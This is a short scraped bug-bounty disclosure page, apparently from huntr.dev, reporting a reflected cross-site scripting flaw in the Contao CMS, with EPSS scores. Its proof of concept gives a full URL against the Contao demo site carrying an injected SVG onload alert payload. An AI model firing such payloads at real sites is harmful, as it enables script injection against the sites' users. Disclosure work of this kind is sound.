Lucene search

K
huntrAggressiveuserDF46E285-1B7F-403C-8F6C-8819E42DEB80
HistoryApr 28, 2022 - 10:33 a.m.

Cross-site Scripting (XSS)

2022-04-2810:33:33
aggressiveuser
www.huntr.dev
27

0.003 Low

EPSS

Percentile

71.6%

Proof of Concept

Steps to reproduce:
Naviagate the below URL
URL: https://demo.contao.org/contao/"><svg//onload=alert(112233)>
Here Some Image POC Attached

Trigger

0.003 Low

EPSS

Percentile

71.6%

Related for DF46E285-1B7F-403C-8F6C-8819E42DEB80